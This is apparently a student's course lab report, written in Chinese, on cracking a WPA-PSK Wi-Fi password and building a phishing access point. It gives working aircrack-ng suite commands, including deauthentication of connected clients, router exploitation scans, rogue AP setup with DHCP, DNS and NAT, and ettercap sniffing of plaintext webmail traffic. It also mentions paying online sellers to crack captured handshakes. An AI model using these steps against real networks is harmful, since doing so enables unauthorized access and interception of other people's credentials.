20165110石钰网络对抗免考报告_WIFI破解+搭建钓鱼WIFI

20165110石钰网络对抗免考报告_WIFI破解+搭建钓鱼WIFI

一、破解WiFi密码

1.背景知识

当前无限网络的常用加密协议主要有两种,WEP和WAP

WEP:是802.11协议规定的基本加密协议。但是WEP协议后来被证明存在很多缺陷,能够在几分钟时间内呗轻松破解,之后为替代WEP协议,又开发了WPA。
WAP:有WPA和WPA2两个标准,WPA在安全性要比WEP好许多,目前WPA2协议是最安全的,但是用户在无限网络配置是经常采用容易机一的弱口令,因此WPA加密的无限网络仍存在被字典攻击的风险

2.攻击原理

wpa-psk的大致认证过程分为以下几步。

1.	无线AP定期发送beacon数据包(信标帧),使无线终端更新自己的无线网络列表。
2.	无线终端在每个信道(1-13)广播ProbeRequest(探查请求帧)(非隐藏类型的WiFi含ESSID,隐藏类型的WiFi不含ESSID)。
3.	每个信道的AP回应,ProbeResponse(探查响应帧),包含ESSID,及RSN信息。
4.	无线终端给目标AP发送AUTH包(身份验证帧)。AUTH认证类型有两种,0为开放式、1为共享式(WPA/WPA2必须是开放式)。
5.	AP回应网卡AUTH包。
无线终端给AP发送关联请求包associationrequest(关联请求帧)数据包。
AP给无线终端发送关联响应包associationresponse(关联相应帧)数据包。
6.	EAPOL四次握手进行认证(握手包是破解的关键)。
7.	完成认证可以上网。

802.11协议的帧类型主要包括管理帧和数据帧,我们这里主要用到管理帧:
管理帧的主体包含的固定字段与信息元素是用来运送信息的。管理帧主要以下几种,负责链路层的各种维护功能。

1. Beacon 信标帧
主要用来声明某个网络的存在。定期(默认100s、可自己设置)传送的信标可让station得知网络的存在,从而调整加入该网络所必需的参数。

2. Probe Request 探查请求帧
移动工作站利用Probe Request探查请求帧来扫描区域内目前哪些802.11网络。
包含2个字段
SSID:可被设定为特定网络的 SSID 或任何网络的 SSID 。
Support rates:移动工作站所支持的速率。

3.ProbeResponse探查响应帧
如果ProbeRequest所探查的网络与之兼容,该网络就会以ProbeResponse帧响应。送出最后一个beacon帧的工作站必须负责响应所收到的探查信息。
Probe Request帧中包含了beacon帧的所参数,station可根据它调整加入网络所需要的参数。

4.IBSS announcement traffic indication map (ATIM)
IBSS 的通知传输只是消息

5.Disassociation and Deauthentication 
取消关联、解除验证帧

6. AssociationRequest  
关联请求帧

7.Reassociation Request      
重新关联

8.Association Response and Reassociation Response
关联响应、重新关联响应

9.Authentication 
身份验证帧 ///Authentication Algorithm Number:用于算法择

10.Action frame    
帧传送、关联与身份验证的状态
State1 :未经认证且尚未关联 2 :已经认证但尚未关联 3 :已经认证且已经关联。

认证过程:

a) AP初始化:
使用 SSID 和passphares作为入参,通过哈希算法产生PSK。在WPA-PSK 中PSK=PMK=pdkdf2_SHA1(passphrase, SSID, SSID length, 4096)

b) 第一次握手:
AP广播SSID,AP_MAC(AA);
STATION 端使用接收到的SSID,AP_MAC和passphares使用同样算法产生PSK。

c) 第二次握手
STATION 发送一个随机数SNonce,STATION_MAC(SA)给AP;
AP端接收到SNonce、STATION_MAC(SA)后产生一个随机数ANonce,然后用 PMK、AP_MAC(AA)、STATION_MAC(SA)、SNonce、ANonce 用以下SHA1_PRF算法产生PTK,提取这个 PTK 前16 个字节组成一个MIC KEY。
PTK=SHA1_PRF(PMK, Len(PMK), “Pairwise key expansion”, MIN(AA, SA) || Max(AA, SA) || Min(ANonce, SNonce) || Max(ANonce, SNonce))

d) 第三次握手:
AP发送上面产生的ANonce给STATION
STATION 端用接收到ANonce 和以前产生PMK、SNonce、AP_MAC(AA)、STATION_MAC(SA)用同样的算法产生PTK。提取这个PTK 前16 个字节组成一个MIC KEY使用以下算法产生MIC值用这个MIC KEY 和一个802.1X数据帧使用以下算法得到MIC值
MIC = HMAC_MD5(MIC Key,16,802.1X data)

e) 第四次握手:
STATION 发送802.1X 数据帧,MIC给AP;STATION 端用上面那个准备好的802.1X 数据帧在最后填充上MIC值和两个字节的0(十六进制)然后发送这个数据帧到AP。
AP端收到这个数据帧后提取这个MIC。并把这个数据帧的MIC部分都填上0(十六进制)这时用这个802.1X数据帧,和用上面AP产生的 MIC KEY 使用同样的算法得出MIC’。如果MIC’等于STATION 发送过来的MIC。那么第四次握手成功。若不等说明则AP 和 STATION 的密钥不相同,握手失败了。

用字典中的PSK+ssid先生成PMK(此步最耗时,是目前破解的瓶颈所在),然后结合握手包中的客户端MAC,AP的BSSID,A-NONCE,S-NONCE计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥。

3.攻击工具

一个usb网卡,kali虚拟机

4.具体步骤

4.1加载网卡

airmon-ng start wlan0

4.2探测周边网络

airodump-ng wlan0mon(此处可通过ifconfig来查看到底是哪个端口,有一些机器端口是wlan0)

参数解读:
BSSID:MAC地址
PWR:信号强弱
CH:信道
ENC:加密方式
ESSID:WIFI名称

4.3选择一个合适的网络进行抓包(我选择的是我们宿舍的网络)

airodump-ng -w 抓包文件的名字 -c 指定信道 --bssid  被攻击的AP的MAC地址 wlan0mon -ignore-negative-one

4.4强制断开已经连接到wifi的设备重新连接路由器,来进行抓去数据包

重新打开一个终端输入指令

aireplay-ng --deatu 抓包数量 -a 路由器MAC -c 客户机MAC wlan0mon --ignore-negative-one

参数解读
–deatu:指定发送反认证包的个数,也可以使用-0(阿利伯数字0)来指定反认证包的个数
-a:指定路由器的MAC
-c:指定客户机的MAC

4.5利用字典对抓包文件进行破解

aircrack-ng -a -w 字典的绝对地址 抓包文件名称.cap 
参数解读:
-a1:指定WEP加密方式
-a2:指定WPA-PSk加密方式

4.6等待

。。。。。。

我在网上下了一个超级超级超级大的字典有10个多G。。。
我们宿舍的密码也是那种比较难猜型的,然后就慢慢等啊等啊。。。

终于我不等了。。。。。。。(据可靠消息,自己的机子上最好还是不要一直跑,真的想破解一些奇奇怪怪的密码建议抓包找淘宝客服,据说有专门有用来破解包的配置机子,用自己的机子跑可能会把机子烧掉。。。。。。我连跑了好几个小时整个机子都快能烫熟鸡蛋了。。。)
(为了不把我机子烧掉,我稍微进行了一些操作。。。。)最后成功解密

5.通过攻击路由器漏洞破解密码1

5.1.前期准备工作

5.1.1安装RouteSploit框架

主要由可用于渗透测试的多个功能模块组件组成

    1、 Scanners:模块功能主要为检查目标设备是否存在可利用的安全漏洞;
    
    2、Creds:模块功能主要针对网络服务的登录认证口令进行检测;

    3、Exploits:模块功能主要为识别到目标设备安全漏洞之后,对漏洞进行利用,实现提权等目的。

安装RouteSploit工具

apt-get install python3-pip
git clone https://www.github.com/threat9/routersploit
cd routersploit
python3 -m pip install -r requirements.txt
python3 rsf.py

5.1.2查看被攻击的路由器相关信息

使用nmap指令查看攻击路由器的相关信息

扫描出来结果大致说明了路由器的型号以及路由器里的操作系统。

5.2.具体步骤

5.2.1启动rsf

python3 rsf.py

5.2.2选择相应模块进行攻击

use scanners/routers/router_scan

进入扫描模块路由器模块

show options

查看相关配置

set target=10.1.1.1#路由器IP地址

-:路由器中没有该漏洞
*:路由器中不确定是否有该漏洞
+:路由器中有该漏洞

很幸运的是:我们宿舍的路由器居然用rsf扫不出来一个确定的漏洞!!!!扫描结果显示有几个不确定的漏洞,但是这几个也不是相应品牌的漏洞。。。从未发现我们宿舍的路由器居然如此安全。。。。。。
不死心的我搜索了一下rsf模块中有针对一些品牌的路由器进行专门的攻击有(Cisco、Huawei、3com、dlink等)我一想要不用我的手机开个热点试试,然后我用rsf的Huawei模块扫描了一波我的手机,然而还是没有一个可用的漏洞,一堆不是一个品牌的漏洞。。。。。。我的手机也是真安全。。。。。。

事实证明我手上的路由器都比较安全,无法用rsf寻找漏洞进行攻击。

6.通过攻击路由器漏洞破解密码2

我又在网上查找了相关资料发现msf也有相关的模块可以对路由器进行攻击
Msf的ssh_login模块可以对路由器进行攻击。

但是很遗憾的是,msf针对不同品牌的路由器要下载相应的破解模块,HiWiFi是在是一个太小众的品牌了,我压根找不到针对它的攻击的模块,所以该尝试又光荣失败==。

7.实验感受

WIFI破解是我一直以来很想做的一件事情,这次实际采用了多种方法去操作了一波。唯一成功破解的是方法一,通过抓包然后进行暴力破解,该方法破解成功与否主要看字典,字典中的PSK+ssid先生成PMK(此步最耗时,是目前破解的瓶颈所在),然后结合握手包中的客户端MAC,AP的BSSID,A-NONCE,S-NONCE计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥。方法二和方法三主要是通过集成的现成的攻击模块,通过配置相应的参数直接进行攻击,相较于第一种方法而言更加便捷,实现效率较高,但是通过实践我们可以发现理想是美满的,现实是残忍的,扫不扫描出来漏洞都是不一定的。。。。。。综上所述,方法一虽然慢烧机器,但是成功率高。

二、架构钓鱼WiFi

1.实验环境

Kali虚拟机
TPLINK TL—WN722n网卡
MERCURY MW150US 4.0网卡

2.基本原理

3.具体步骤

3.1查看网卡信息

ifconfig

3.2.插上两块网卡后查看网卡信息

iwconfig

将wlan0设置为监听模式,wlan1设置为接收模式

3.3.更改静态地址

vim /etc/network/interface

Address处应该填写网络分配的IP地址,gateway应该填写的网关的IP地址
可以通过相应指令查看静态地址是否生效

如图所示,静态地址已经生效,此时打开浏览器,可正常浏览网页,网络环境正常。

3.4.释放一个无线信号

airbase -ng -e "orange" -c 6 wlan0mon

此时通过wlan1已经可以搜索到我创建的“orange”热点信号了,只是现在还无法上网

3.5.开启at0端口

ifconfig at0 up

随后使用

ifconfig 

可以查看到我们刚刚开启的at0端口(发送无线的网络接口)

3.6.配置at0端口

vim /etc/network/interface 

添加对at0端口的配置

Address可以随便配置IP

3.7.刷新网络服务

service networking restart 

查看是否配置成功

3.8.配置DHCP服务

3.8.1下载DHCP

apt-get install isc-dhcp-server

3.8.2修改DHCP配置文件

vim /etc/dhcp/dhcpd.conf

修改内容如下

subnet 10.1.0.0 netmask 255.255.255.0//与之前的给at0分配的网络地址一致
{
range 10.1.0.100 10.1.01.150;//dhcp分配的ip范围
option routers 10.1.0.1;//网关  
subnet-mask 255.255.255.9;//子网掩码
option domain-name-servers 10.1.1.112;//dns服务器(外网口的IP地址)
option broadcast-address 10.1.1.254;//广播地址 
}

还需更改一个配置

vim /etc/default/isc-dhcp-server

3.8.3启动DHCP服务

检验服务是否确实启动(即使服务启动没有报错也有可能未启动,所以需要其他指令来判断是否切实启动)

3.8.4使用手机连接“orange”使用wireshark进行抓包

(寻找相应的DHCP报文)

(连接上orange的手机上的IP地址)
经对比可以得到WIFI已经可以正常工作

9.搭建DNS服务

3.9.1.安装bind9包

3.9.2.修改bind9配置文件

vim /etc/bind/named.conf.options

修改内容如下

forwarders { 8,8,8,8; };
recursion    yes;
allow-query { any; };
listen-on { any; };
listen-on port 53 { 10.1.1.112; };

重启bind9服务并查看状态

修改本机默认DNS服务器

vim /etc/etc/resolv.conf

重启网络服务
验证是否可以正常解析相应的网站

10.配置转发策略

我们需要做的是NAT技术就是红框中的部分

打开内核转发模块

echo 1 > /proc/sys/net/ipv4/ip_forward

通过ping指令来检验相应的转发功能是否开启

11.配置防火墙策略

首先查看现有策略和链

iptables -L -n
iptables -save

配置新的链

iptables -t nat -A POSTROUTING -s 10.1.0.0/24 -o wlan1 -j SNAT --to-source 10.1.1.112

把所有10.1.0.0所有的数据转发到接口wlan1将地址转换到10.1.1.112。
此时客户端可以连接上网络了

12.进行钓鱼

ettercap -Tq -i at0

进入网易邮箱(从某个渠道听说他居然是明文传输的)事实的确如此。。。

附:此处还可以使用karma来进行攻击

1.安装karma

2.安装辅助模块sqlite3

3.启动karma

可以监听到连上该WiFi的信息流处理情况通过这个进行获取信息更加便捷一些。

4.实验感受

这个实验做得最难受的有两个地方,一个是DHCP架构,一个如何让产生的钓鱼WIFI可以有网络服务。
开启DHCP服务一直出各种各样的错误,我每一次改动都能出现不同的错误,后来我放弃了直接改现成的配置文件,好好去研究了一下配置文件的参数都是如何设置的,终于,可以开启DHCP服务,有时候还是要知道为什么要这么设置而不是直接拿来主义。
为WIFI服务提供NAT服务,真是弄了我好几个星期都没发现问题,我还吸取了上次的教训仔细研究了这些指令的含义,觉得这些指令配置都没毛病啊,怎么回事呢,四处百度也没有一个好的解决方法。后来我发现每当我配置好之后就会造成Kali自身也无法连接上网络,我认为是因为配置的问题,一直在寻找如何配置,但是一直没有找到。
直到有一天我在B站上看到一个相关的教学视频,我才意识到一个问题,就是虚拟机本身并没有提供一个虚拟网卡,它一开始通过桥接连接的网络,但桥接本身并没有给它一个虚拟的网卡,而是相当于给了一个虚拟的物理接口eth0通过这个接口连接网络,所以Kali显示的一直都是有线连接,所以我一直以来修改的wlan0就是其实是我外接的网卡,而这个网卡其实在钓鱼实验中充当的是一个本机自带的网卡的这样一个身份,也就是我只有一个往外发送信号的网卡,而缺少了一个本机接收真正AP发送的信号的网卡。所以我经过设置以后的确可以发送信号,但是Kali机中缺少了可以接收真正AP信号的网卡导致不但发出的信号无法连接网络,Kali本机也无法连接网络。
解决方案:找一个Kali的物理机,物理机本身会有计算机自带的网卡,此时再外接一个网卡,重复之前一些操作就可以get,但是找一台Kali物理机是一件多么困难的事情。。。。。。
方案二:找两个无线网卡,这个成本和代价稍微小一些(此处感谢万能的票圈和两位大佬的网卡),但是有一个弊端就是这样发出来的信号NAT信号不是很稳定,容易断掉,但是我们做实验嘛这个也是可以满足需求的。用其中一个外界网卡接收信号,另一个网卡用于发送信号,经过一波操作后果然成功架构了钓鱼WIFI。

三、项目感受

当时选择这个题目的原因是因为真的很想做WIFI破解,一直都觉得这是一个相当高端洋气有用的技术,以后就再也不用担心没有WIFI用了,但是当我发现这是一个要靠字典的东西,成功与否在于你选取的字典中是否包含密码,很是失望。温馨提示,不建议大家在实际生活使用这种方法去破解WIFI,因为显示生活中的密码不太可能是弱密码,如果不是弱密码的话就会要搜索很久,对于平时日常生活中的计算机是有一定影响的,建议自己抓包然后找淘宝。。。。。。然后我又做了架构钓鱼WIFI的试验,当时选择它的原因是觉得它简单,然而事实并不是这样的,耗了我几个星期的心力,弄坏了N多个虚拟机,差点把VM也给整坏了,最后还是看了大佬的视频才茅塞顿开找到了自己问题,真的是凡是有相,皆是虚妄,根源上就出现了问题我还在这个上面搭建东西,当然不能成功,但是那天我知道了问题也想出了解决方案还得到了所需要的工具我一口气就把它做完了,做完那一刻真的觉得之前付出的一切都是值得的,都是有意义的。最后用我选这门课的初心总结一下做这个项目的感受吧,就是想在希望未来的有一天我回忆起大学时光,我可能记不得我究竟学了什么知识,但是我会记得那些年我为之奋斗的时光,天空没留下翅膀的痕迹,但我已飞过。

posted on 2019-07-01 12:50  小orangegood  阅读(497)  评论(0编辑  收藏  举报

导航